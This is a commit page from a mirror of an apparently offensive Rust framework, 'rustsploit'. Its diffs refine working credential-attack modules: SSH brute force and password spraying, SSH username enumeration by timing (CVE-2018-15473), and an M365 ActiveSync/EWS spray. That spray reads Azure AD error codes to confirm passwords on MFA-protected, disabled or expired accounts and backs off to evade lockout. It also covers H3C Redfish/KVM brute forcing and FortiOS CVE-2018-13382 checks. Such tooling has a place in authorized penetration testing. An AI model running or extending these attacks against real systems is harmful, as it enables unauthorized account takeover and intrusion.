mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
creds/exploits: fix the protocol-level audit backlog (VNC, SSH, FortiOS CVE, m365, h3c, engine)
VNC (false positive): negotiate the RFB version instead of forcing 003.008. An RFB 3.3 server desynced under the forced 3.8 handshake and a misaligned 4-byte SecurityResult read of 0 was reported as a valid password. Now reply min(server, 3.8), and handle 3.3's single 4-byte security-type vs 3.7+'s count+list+select. SSH (false negative): ssh_bruteforce + ssh_spray collapsed EVERY ssh2 userauth_password error to AuthFailed, so a transient/transport error mid-auth became a definitive 'wrong password' (valid creds skipped, never retried). Now only libssh2 -18/-19 (AUTHENTICATION_FAILED/PUBLICKEY_UNVERIFIED) is AuthFailed; everything else propagates as a retryable error. ssh_spray also now resolves hostnames (was SocketAddr::parse, IP-only → hostname targets never sprayed). ssh_user_enum (noise): replaced the fixed 300ms absolute timing threshold with a baseline mean+stddev one-sided cutoff (k sigma, median per user, MIN_ABS_DELTA floor), time ONLY the auth exchange (not connect+KEX), and send a long password so the server KDF dominates for valid users. threshold setg is now a sigma multiplier. FortiOS CVE-2018-13382 (false positive): the ordinary ret=1/redir= login response was treated as a successful magic-token reset → FindingKind::Vulnerable on PATCHED hosts. Now the Vulnerable finding is gated on a confirming login with the new password (verify_login tightened to require the real ret=1 token); fingerprint no longer calls any 200/401 host a FortiGate; reset POST also sends 'credential'. Engine: run_bruteforce_streaming's stop-on-first-success early return leaked the spawn_blocking wordlist reader, which kept scanning a multi-GB file into a dropped channel. New utils::load_lines_batched_until lets the reader stop the instant the receiver is gone. bruteforce_retries: unset→1, explicit 0→none, clamped to 10 (was: 0 coerced to 1, huge values unbounded). m365_activesync_spray: classify valid-but-flagged accounts via X-MS-Diagnostics ESTS codes (50055 expired / 50057 disabled / 50079/50076/50074/53004 MFA / 50158 CA) as credential hits instead of keying success only on HTTP 200; add 429/503 throttle backoff between rounds. h3c_redfish_session_spray: require X-Auth-Token on 201 (was: stored a '(header-missing)' placeholder credential); 400/404/422 → Denied not Error. h3c_oem_kvm_bruteforce: require an actual token VALUE (header or parsed), not the bare 'X-Auth-Token' field-name substring + '(present)' placeholder. Build: 0 errors, 0 warnings. Remaining strict-audit hits in these files are pre-existing (VNC DES, PG MD5 / MySQL SHA1 auth, #[cfg(test)] asserts, and run-loop idioms) — none introduced here.
This commit is contained in:
@@ -388,17 +388,29 @@ async fn try_login(
|
|||||||
// 401/403/etc. — a definitive authentication rejection.
|
// 401/403/etc. — a definitive authentication rejection.
|
||||||
return AttemptResult::Denied;
|
return AttemptResult::Denied;
|
||||||
}
|
}
|
||||||
|
// Capture the token from the response HEADER before consuming the body —
|
||||||
|
// Redfish-style BMCs return X-Auth-Token as a header, not (only) in the JSON.
|
||||||
|
let header_token = match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
|
||||||
|
Some(Ok(s)) if !s.is_empty() => Some(s.to_string()),
|
||||||
|
Some(Err(e)) => {
|
||||||
|
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
|
||||||
|
None
|
||||||
|
}
|
||||||
|
_ => None,
|
||||||
|
};
|
||||||
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||||
Ok(b) => b,
|
Ok(b) => b,
|
||||||
// Body read failed mid-stream: transient, not a denial.
|
// Body read failed mid-stream: transient, not a denial.
|
||||||
Err(e) => return AttemptResult::Transient(format!("read body: {e}")),
|
Err(e) => return AttemptResult::Transient(format!("read body: {e}")),
|
||||||
};
|
};
|
||||||
if !body.contains("X-Auth-Token") {
|
// Require an actual token VALUE (header or parsed from the body). The old check
|
||||||
return AttemptResult::Denied;
|
// accepted the bare field NAME "X-Auth-Token" appearing anywhere in the body
|
||||||
|
// and fell back to a "(present)" placeholder — both could store a
|
||||||
|
// non-credential lifted from an error page.
|
||||||
|
match header_token.or_else(|| extract_token(&body)) {
|
||||||
|
Some(tok) if !tok.is_empty() => AttemptResult::Hit(tok),
|
||||||
|
_ => AttemptResult::Denied,
|
||||||
}
|
}
|
||||||
// Surface the token if we can extract it; otherwise mark hit with a
|
|
||||||
// placeholder so the caller still records the credential.
|
|
||||||
AttemptResult::Hit(extract_token(&body).unwrap_or_else(|| "(present)".into()))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn extract_token(body: &str) -> Option<String> {
|
fn extract_token(body: &str) -> Option<String> {
|
||||||
|
|||||||
@@ -382,14 +382,20 @@ async fn try_login(
|
|||||||
|
|
||||||
match status {
|
match status {
|
||||||
201 => {
|
201 => {
|
||||||
// Success — extract X-Auth-Token from response headers.
|
// A genuine Redfish session-create returns 201 + X-Auth-Token. Without
|
||||||
let token = resp
|
// that header it is NOT a usable session — don't store a credential on
|
||||||
.headers()
|
// a bare 201 (e.g. from a proxy/load-balancer). Previously a missing
|
||||||
.get("X-Auth-Token")
|
// token was stored as the literal "(header-missing)".
|
||||||
.and_then(|v| v.to_str().ok())
|
match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
|
||||||
.map(|s| s.to_string())
|
Some(Ok(tok)) if !tok.is_empty() => LoginResult::Success(tok.to_string()),
|
||||||
.unwrap_or_else(|| "(header-missing)".to_string());
|
Some(Err(e)) => {
|
||||||
LoginResult::Success(token)
|
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
|
||||||
|
LoginResult::Error("X-Auth-Token header not readable".to_string())
|
||||||
|
}
|
||||||
|
_ => LoginResult::Error(
|
||||||
|
"201 Created without X-Auth-Token — not a valid session".to_string(),
|
||||||
|
),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
429 => {
|
429 => {
|
||||||
let wait = resp
|
let wait = resp
|
||||||
@@ -401,7 +407,10 @@ async fn try_login(
|
|||||||
.min(60);
|
.min(60);
|
||||||
LoginResult::RateLimited(wait)
|
LoginResult::RateLimited(wait)
|
||||||
}
|
}
|
||||||
401 | 403 => LoginResult::Denied,
|
// Definitive negatives from a responding BMC (incl. 400/404/422 for a
|
||||||
|
// malformed/missing-endpoint login) — Denied, not Error, so per-account
|
||||||
|
// lockout tracking stays correct.
|
||||||
|
400 | 401 | 403 | 404 | 422 => LoginResult::Denied,
|
||||||
_ => LoginResult::Error(format!("unexpected HTTP {}", status)),
|
_ => LoginResult::Error(format!("unexpected HTTP {}", status)),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -148,6 +148,44 @@ fn classify_http_response(status: u16, diag: &Option<String>) -> &'static str {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Decide whether a response proves the PASSWORD is correct — even when another
|
||||||
|
/// control blocks the sign-in (MFA, expired, disabled). Azure AD returns 401 with
|
||||||
|
/// an ESTS error code in `X-MS-Diagnostics`; several of those codes mean the
|
||||||
|
/// password was right (MSOLSpray semantics). Keying success only on HTTP 200
|
||||||
|
/// missed every valid-but-flagged account. Returns Some(reason) if valid.
|
||||||
|
fn credential_is_valid(status: u16, diag: &Option<String>) -> Option<&'static str> {
|
||||||
|
if status == 200 {
|
||||||
|
return Some("valid credentials (full access)");
|
||||||
|
}
|
||||||
|
let d = diag.as_deref()?;
|
||||||
|
if d.contains("50126") {
|
||||||
|
// AADSTS50126: invalid username or password — the one true negative.
|
||||||
|
None
|
||||||
|
} else if d.contains("50055") {
|
||||||
|
Some("valid credentials — password expired")
|
||||||
|
} else if d.contains("50057") {
|
||||||
|
Some("valid credentials — account disabled")
|
||||||
|
} else if d.contains("50079") || d.contains("50076") || d.contains("50074") || d.contains("53004") {
|
||||||
|
Some("valid credentials — MFA required")
|
||||||
|
} else if d.contains("50158") {
|
||||||
|
Some("valid credentials — external security challenge (conditional access)")
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// True when Azure AD is throttling us (HTTP 429/503 or an ESTS throttle code),
|
||||||
|
/// so the spray can back off instead of hammering through false negatives.
|
||||||
|
fn is_throttled(status: u16, diag: &Option<String>) -> bool {
|
||||||
|
if status == 429 || status == 503 {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
match diag.as_deref() {
|
||||||
|
Some(d) => d.contains("90033") || d.to_lowercase().contains("throttle"),
|
||||||
|
None => false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
// SMTP Spray Logic
|
// SMTP Spray Logic
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
@@ -475,6 +513,9 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
|
|
||||||
// Spray this password across all users with concurrency control
|
// Spray this password across all users with concurrency control
|
||||||
let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
|
let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||||
|
// Set by any worker that sees Azure AD throttling, so we back off before
|
||||||
|
// the next password round instead of hammering through false negatives.
|
||||||
|
let throttled = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
|
||||||
let mut handles = Vec::new();
|
let mut handles = Vec::new();
|
||||||
|
|
||||||
for user in &users {
|
for user in &users {
|
||||||
@@ -483,6 +524,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
let sem = semaphore.clone();
|
let sem = semaphore.clone();
|
||||||
|
let throttled = throttled.clone();
|
||||||
let client = client.clone();
|
let client = client.clone();
|
||||||
let user = user.clone();
|
let user = user.clone();
|
||||||
let password = password.clone();
|
let password = password.clone();
|
||||||
@@ -497,23 +539,29 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
if mode == SprayMode::ActiveSync || mode == SprayMode::All {
|
if mode == SprayMode::ActiveSync || mode == SprayMode::All {
|
||||||
match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await {
|
match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await {
|
||||||
Ok((status, diag)) => {
|
Ok((status, diag)) => {
|
||||||
let detail = classify_http_response(status, &diag);
|
if is_throttled(status, &diag) {
|
||||||
if status == 200 {
|
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
|
||||||
round_hits.push(SprayHit {
|
}
|
||||||
username: user.clone(),
|
match credential_is_valid(status, &diag) {
|
||||||
password: password.clone(),
|
Some(reason) => {
|
||||||
endpoint: "ActiveSync".to_string(),
|
round_hits.push(SprayHit {
|
||||||
status,
|
username: user.clone(),
|
||||||
detail: detail.to_string(),
|
password: password.clone(),
|
||||||
});
|
endpoint: "ActiveSync".to_string(),
|
||||||
} else if verbose {
|
status,
|
||||||
crate::mprintln!(
|
detail: reason.to_string(),
|
||||||
" [{}] {} @ ActiveSync: {} ({})",
|
});
|
||||||
status,
|
}
|
||||||
user,
|
None if verbose => {
|
||||||
detail,
|
crate::mprintln!(
|
||||||
diag.clone().unwrap_or_default()
|
" [{}] {} @ ActiveSync: {} ({})",
|
||||||
);
|
status,
|
||||||
|
user,
|
||||||
|
classify_http_response(status, &diag),
|
||||||
|
diag.clone().unwrap_or_default()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
None => {}
|
||||||
}
|
}
|
||||||
// Warn on lockout/block
|
// Warn on lockout/block
|
||||||
if status == 403 || status == 456 {
|
if status == 403 || status == 456 {
|
||||||
@@ -522,7 +570,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
format!(
|
format!(
|
||||||
"[!] {} - {} ({})",
|
"[!] {} - {} ({})",
|
||||||
user,
|
user,
|
||||||
detail,
|
classify_http_response(status, &diag),
|
||||||
diag.unwrap_or_default()
|
diag.unwrap_or_default()
|
||||||
)
|
)
|
||||||
.yellow()
|
.yellow()
|
||||||
@@ -545,23 +593,29 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
if mode == SprayMode::Ews || mode == SprayMode::All {
|
if mode == SprayMode::Ews || mode == SprayMode::All {
|
||||||
match try_http_basic(&client, EWS_URL, &user, &password).await {
|
match try_http_basic(&client, EWS_URL, &user, &password).await {
|
||||||
Ok((status, diag)) => {
|
Ok((status, diag)) => {
|
||||||
let detail = classify_http_response(status, &diag);
|
if is_throttled(status, &diag) {
|
||||||
if status == 200 {
|
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
|
||||||
round_hits.push(SprayHit {
|
}
|
||||||
username: user.clone(),
|
match credential_is_valid(status, &diag) {
|
||||||
password: password.clone(),
|
Some(reason) => {
|
||||||
endpoint: "EWS".to_string(),
|
round_hits.push(SprayHit {
|
||||||
status,
|
username: user.clone(),
|
||||||
detail: detail.to_string(),
|
password: password.clone(),
|
||||||
});
|
endpoint: "EWS".to_string(),
|
||||||
} else if verbose {
|
status,
|
||||||
crate::mprintln!(
|
detail: reason.to_string(),
|
||||||
" [{}] {} @ EWS: {} ({})",
|
});
|
||||||
status,
|
}
|
||||||
user,
|
None if verbose => {
|
||||||
detail,
|
crate::mprintln!(
|
||||||
diag.clone().unwrap_or_default()
|
" [{}] {} @ EWS: {} ({})",
|
||||||
);
|
status,
|
||||||
|
user,
|
||||||
|
classify_http_response(status, &diag),
|
||||||
|
diag.clone().unwrap_or_default()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
None => {}
|
||||||
}
|
}
|
||||||
if status == 403 || status == 456 {
|
if status == 403 || status == 456 {
|
||||||
crate::mprintln!(
|
crate::mprintln!(
|
||||||
@@ -569,7 +623,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
format!(
|
format!(
|
||||||
"[!] {} - {} ({})",
|
"[!] {} - {} ({})",
|
||||||
user,
|
user,
|
||||||
detail,
|
classify_http_response(status, &diag),
|
||||||
diag.unwrap_or_default()
|
diag.unwrap_or_default()
|
||||||
)
|
)
|
||||||
.yellow()
|
.yellow()
|
||||||
@@ -658,6 +712,15 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Back off if Azure AD throttled us this round (429/503/ESTS throttle).
|
||||||
|
if throttled.load(std::sync::atomic::Ordering::Relaxed) && round_idx + 1 < total_rounds {
|
||||||
|
crate::mprintln!(
|
||||||
|
"{}",
|
||||||
|
"[!] Throttling detected — backing off 60s before the next password round".yellow()
|
||||||
|
);
|
||||||
|
tokio::time::sleep(Duration::from_secs(60)).await;
|
||||||
|
}
|
||||||
|
|
||||||
// Delay between rounds (lockout evasion)
|
// Delay between rounds (lockout evasion)
|
||||||
if round_idx + 1 < total_rounds && delay_secs > 0 {
|
if round_idx + 1 < total_rounds && delay_secs > 0 {
|
||||||
crate::mprintln!(
|
crate::mprintln!(
|
||||||
|
|||||||
@@ -443,8 +443,17 @@ async fn try_ssh_login(
|
|||||||
let authed = match sess.userauth_password(&user_owned, &pass_owned) {
|
let authed = match sess.userauth_password(&user_owned, &pass_owned) {
|
||||||
Ok(_) => sess.authenticated(),
|
Ok(_) => sess.authenticated(),
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
tracing::trace!("SSH auth rejected: {e}");
|
// Only a genuine auth REJECTION is a definitive Ok(false).
|
||||||
false
|
// Transport/method errors (socket recv/send, timeout, KEX,
|
||||||
|
// "method not supported") must propagate so the engine retries
|
||||||
|
// instead of recording a possibly-valid password as "wrong".
|
||||||
|
if is_ssh_auth_rejection(&e) {
|
||||||
|
tracing::trace!("SSH auth rejected: {e}");
|
||||||
|
false
|
||||||
|
} else {
|
||||||
|
if let Err(d) = sess.disconnect(None, "", None) { tracing::trace!("SSH disconnect: {d}"); }
|
||||||
|
return Err(anyhow!("SSH auth transport error: {e}"));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -459,4 +468,17 @@ async fn try_ssh_login(
|
|||||||
join_result.context("Join error")?
|
join_result.context("Join error")?
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// True only for a genuine SSH authentication rejection (a wrong password),
|
||||||
|
/// which is a definitive negative. libssh2 surfaces this as
|
||||||
|
/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) or PUBLICKEY_UNVERIFIED (-19);
|
||||||
|
/// every other code (socket recv/send -7/-43, timeout -30, disconnect -13,
|
||||||
|
/// method-not-supported -12, KEX failures, …) is a transport/negotiation fault
|
||||||
|
/// that should be retried, not recorded as a wrong credential.
|
||||||
|
fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool {
|
||||||
|
matches!(
|
||||||
|
e.code(),
|
||||||
|
ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
crate::register_native_module!(crate::module::Category::Creds, "generic/ssh_bruteforce", native);
|
crate::register_native_module!(crate::module::Category::Creds, "generic/ssh_bruteforce", native);
|
||||||
|
|||||||
@@ -145,26 +145,67 @@ pub struct SprayResult {
|
|||||||
|
|
||||||
/// Try SSH authentication
|
/// Try SSH authentication
|
||||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||||
let addr = format!("{}:{}", host, port);
|
// Resolve hostnames too — `"host:port".parse::<SocketAddr>()` only accepts
|
||||||
|
// IP literals, so a hostname target previously errored out and never sprayed.
|
||||||
|
let socket_addr = resolve_socket_addr(host, port)?;
|
||||||
|
|
||||||
let tcp = crate::utils::blocking_tcp_connect(
|
let tcp = crate::utils::blocking_tcp_connect(
|
||||||
&addr.parse()?,
|
&socket_addr,
|
||||||
Duration::from_secs(timeout_secs),
|
Duration::from_secs(timeout_secs),
|
||||||
)?;
|
)?;
|
||||||
|
|
||||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||||
|
|
||||||
let mut sess = Session::new()?;
|
let mut sess = Session::new()?;
|
||||||
sess.set_tcp_stream(tcp);
|
sess.set_tcp_stream(tcp);
|
||||||
sess.handshake()?;
|
sess.handshake()?;
|
||||||
|
|
||||||
match sess.userauth_password(username, password) {
|
match sess.userauth_password(username, password) {
|
||||||
Ok(_) => Ok(sess.authenticated()),
|
Ok(_) => Ok(sess.authenticated()),
|
||||||
Err(e) => { tracing::debug!("SSH auth failed: {e}"); Ok(false) }
|
Err(e) => {
|
||||||
|
// Only a genuine auth rejection (libssh2 -18/-19) is a clean Ok(false).
|
||||||
|
// Transport/method errors propagate so the caller's retry loop engages
|
||||||
|
// rather than recording a possibly-valid password as "wrong".
|
||||||
|
if is_ssh_auth_rejection(&e) {
|
||||||
|
tracing::debug!("SSH auth rejected: {e}");
|
||||||
|
Ok(false)
|
||||||
|
} else {
|
||||||
|
Err(anyhow!("SSH auth transport error: {e}"))
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Resolve `host:port` to a `SocketAddr`, accepting both IP literals and
|
||||||
|
/// hostnames (the latter via DNS).
|
||||||
|
fn resolve_socket_addr(host: &str, port: u16) -> Result<std::net::SocketAddr> {
|
||||||
|
use std::net::ToSocketAddrs;
|
||||||
|
let hostport = format!("{host}:{port}");
|
||||||
|
match hostport.parse::<std::net::SocketAddr>() {
|
||||||
|
Ok(sa) => Ok(sa),
|
||||||
|
Err(parse_err) => {
|
||||||
|
tracing::trace!("{hostport} not an IP literal ({parse_err}); resolving via DNS");
|
||||||
|
let mut addrs = hostport
|
||||||
|
.to_socket_addrs()
|
||||||
|
.with_context(|| format!("resolve {hostport}"))?;
|
||||||
|
addrs
|
||||||
|
.next()
|
||||||
|
.ok_or_else(|| anyhow!("no addresses resolved for {hostport}"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// True only for a genuine SSH auth rejection — libssh2
|
||||||
|
/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) / PUBLICKEY_UNVERIFIED (-19). Every
|
||||||
|
/// other code is a transport/negotiation fault to be retried, not a wrong cred.
|
||||||
|
fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool {
|
||||||
|
matches!(
|
||||||
|
e.code(),
|
||||||
|
ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
/// Parse targets from string (CIDR, range, single IP)
|
/// Parse targets from string (CIDR, range, single IP)
|
||||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||||
let mut targets = Vec::new();
|
let mut targets = Vec::new();
|
||||||
|
|||||||
@@ -30,8 +30,20 @@ pub fn info() -> crate::module_info::ModuleInfo {
|
|||||||
|
|
||||||
const DEFAULT_SSH_PORT: u16 = 22;
|
const DEFAULT_SSH_PORT: u16 = 22;
|
||||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||||
const DEFAULT_SAMPLES: usize = 3;
|
const DEFAULT_SAMPLES: usize = 5;
|
||||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
/// Cutoff in BASELINE STANDARD DEVIATIONS (not seconds): a username is flagged
|
||||||
|
/// when its median auth time exceeds baseline_mean + THRESHOLD*stddev. A fixed
|
||||||
|
/// 300 ms absolute threshold was all-valid on a WAN and all-invalid on a LAN.
|
||||||
|
const TIMING_THRESHOLD: f64 = 3.0;
|
||||||
|
/// Baseline needs more samples than a per-user run for a stable mean + stddev.
|
||||||
|
const BASELINE_SAMPLES: usize = 12;
|
||||||
|
/// Absolute floor (seconds) added to the sigma cutoff so a near-zero baseline
|
||||||
|
/// stddev on a quiet LAN can't produce a hair-trigger that flags every user.
|
||||||
|
const MIN_ABS_DELTA: f64 = 0.02;
|
||||||
|
/// CVE-2018-15473 timing relies on the server running its password KDF only for
|
||||||
|
/// VALID users; a long password makes that work dominate the measured time while
|
||||||
|
/// invalid users are rejected cheaply, amplifying the signal.
|
||||||
|
const PROBE_PASSWORD_LEN: usize = 40_000;
|
||||||
|
|
||||||
fn display_banner() {
|
fn display_banner() {
|
||||||
if crate::utils::is_batch_mode() { return; }
|
if crate::utils::is_batch_mode() { return; }
|
||||||
@@ -90,8 +102,6 @@ fn normalize_target(target: &str) -> String {
|
|||||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||||
let addr = format!("{}:{}", host, port);
|
let addr = format!("{}:{}", host, port);
|
||||||
|
|
||||||
let start = Instant::now();
|
|
||||||
|
|
||||||
let tcp = match crate::utils::blocking_tcp_connect(
|
let tcp = match crate::utils::blocking_tcp_connect(
|
||||||
&addr.parse().ok()?,
|
&addr.parse().ok()?,
|
||||||
Duration::from_secs(timeout_secs),
|
Duration::from_secs(timeout_secs),
|
||||||
@@ -120,30 +130,27 @@ fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -
|
|||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Try authentication with invalid password
|
// Time ONLY the auth exchange. Starting the clock before connect/KEX/DH
|
||||||
let invalid_password = format!(
|
// keygen (as before) swamped the auth-decision delta with network + handshake
|
||||||
"invalid_{}_{}",
|
// noise. The long password makes the server's KDF — run only for VALID users
|
||||||
std::process::id(),
|
// on vulnerable OpenSSH — dominate the measurement.
|
||||||
start.elapsed().as_nanos()
|
let probe_password = "A".repeat(PROBE_PASSWORD_LEN);
|
||||||
);
|
let start = Instant::now();
|
||||||
if let Err(e) = sess.userauth_password(username, &invalid_password) {
|
if let Err(e) = sess.userauth_password(username, &probe_password) {
|
||||||
tracing::trace!("Auth attempt for '{}' returned error (expected): {}", username, e);
|
tracing::trace!("Auth attempt for '{}' returned error (expected): {}", username, e);
|
||||||
}
|
}
|
||||||
|
Some(start.elapsed().as_secs_f64())
|
||||||
let elapsed = start.elapsed().as_secs_f64();
|
|
||||||
Some(elapsed)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Sample authentication timing for a username
|
/// Collect raw per-attempt auth timings for a username (empty if unreachable).
|
||||||
fn sample_auth_timing(
|
fn collect_samples(
|
||||||
host: &str,
|
host: &str,
|
||||||
port: u16,
|
port: u16,
|
||||||
username: &str,
|
username: &str,
|
||||||
samples: usize,
|
samples: usize,
|
||||||
timeout_secs: u64,
|
timeout_secs: u64,
|
||||||
) -> Option<f64> {
|
) -> Vec<f64> {
|
||||||
let mut times = Vec::new();
|
let mut times = Vec::new();
|
||||||
|
|
||||||
for _ in 0..samples {
|
for _ in 0..samples {
|
||||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||||
times.push(t);
|
times.push(t);
|
||||||
@@ -151,13 +158,38 @@ fn sample_auth_timing(
|
|||||||
// Small delay between samples
|
// Small delay between samples
|
||||||
std::thread::sleep(Duration::from_millis(100));
|
std::thread::sleep(Duration::from_millis(100));
|
||||||
}
|
}
|
||||||
|
times
|
||||||
|
}
|
||||||
|
|
||||||
if times.is_empty() {
|
fn mean(xs: &[f64]) -> f64 {
|
||||||
return None;
|
if xs.is_empty() {
|
||||||
|
return 0.0;
|
||||||
}
|
}
|
||||||
|
xs.iter().sum::<f64>() / xs.len() as f64
|
||||||
|
}
|
||||||
|
|
||||||
// Return average
|
/// Sample standard deviation (n-1). Zero for fewer than two samples.
|
||||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
fn stddev(xs: &[f64], mean: f64) -> f64 {
|
||||||
|
if xs.len() < 2 {
|
||||||
|
return 0.0;
|
||||||
|
}
|
||||||
|
let var = xs.iter().map(|x| (x - mean).powi(2)).sum::<f64>() / (xs.len() as f64 - 1.0);
|
||||||
|
var.sqrt()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Median — robust to the occasional GC/scheduler outlier that skews a mean.
|
||||||
|
fn median(xs: &[f64]) -> f64 {
|
||||||
|
if xs.is_empty() {
|
||||||
|
return 0.0;
|
||||||
|
}
|
||||||
|
let mut s = xs.to_vec();
|
||||||
|
s.sort_by(|a, b| a.partial_cmp(b).unwrap_or(std::cmp::Ordering::Equal));
|
||||||
|
let mid = s.len() / 2;
|
||||||
|
if s.len() % 2 == 1 {
|
||||||
|
s[mid]
|
||||||
|
} else {
|
||||||
|
(s[mid - 1] + s[mid]) / 2.0
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Load usernames from file
|
/// Load usernames from file
|
||||||
@@ -202,7 +234,7 @@ pub async fn enumerate_users(
|
|||||||
);
|
);
|
||||||
crate::mprintln!(
|
crate::mprintln!(
|
||||||
"{}",
|
"{}",
|
||||||
format!("[*] Timing threshold: {:.3}s", threshold).cyan()
|
format!("[*] Detection cutoff: {:.1} sigma above baseline", threshold).cyan()
|
||||||
);
|
);
|
||||||
crate::mprintln!();
|
crate::mprintln!();
|
||||||
|
|
||||||
@@ -241,19 +273,32 @@ fn enumerate_users_blocking(
|
|||||||
);
|
);
|
||||||
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
|
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
|
||||||
|
|
||||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
// Baseline from MANY invalid-user samples → mean + stddev for a statistical
|
||||||
Some(t) => {
|
// (not fixed-millisecond) cutoff.
|
||||||
crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
let baseline_samples =
|
||||||
t
|
collect_samples(host, port, &baseline_user, samples.max(BASELINE_SAMPLES), timeout_secs);
|
||||||
}
|
if baseline_samples.is_empty() {
|
||||||
None => {
|
crate::mprintln!(
|
||||||
crate::mprintln!(
|
"{}",
|
||||||
"{}",
|
"[-] Failed to establish baseline - cannot reach target".red()
|
||||||
"[-] Failed to establish baseline - cannot reach target".red()
|
);
|
||||||
);
|
return Vec::new();
|
||||||
return Vec::new();
|
}
|
||||||
}
|
let baseline_mean = mean(&baseline_samples);
|
||||||
};
|
let baseline_sd = stddev(&baseline_samples, baseline_mean);
|
||||||
|
// One-sided cutoff: valid users are SLOWER (the server runs its KDF), so we
|
||||||
|
// flag only medians ABOVE the cutoff — the old `diff.abs()` also flagged
|
||||||
|
// faster-than-baseline users, which is backwards. `threshold` is a sigma
|
||||||
|
// multiplier; MIN_ABS_DELTA floors it when the baseline stddev is ~0.
|
||||||
|
let cutoff = baseline_mean + (threshold * baseline_sd).max(MIN_ABS_DELTA);
|
||||||
|
crate::mprintln!(
|
||||||
|
"{}",
|
||||||
|
format!(
|
||||||
|
"[*] Baseline: mean {:.3}s, stddev {:.3}s → cutoff {:.3}s",
|
||||||
|
baseline_mean, baseline_sd, cutoff
|
||||||
|
)
|
||||||
|
.cyan()
|
||||||
|
);
|
||||||
|
|
||||||
crate::mprintln!();
|
crate::mprintln!();
|
||||||
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
|
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
|
||||||
@@ -269,20 +314,23 @@ fn enumerate_users_blocking(
|
|||||||
);
|
);
|
||||||
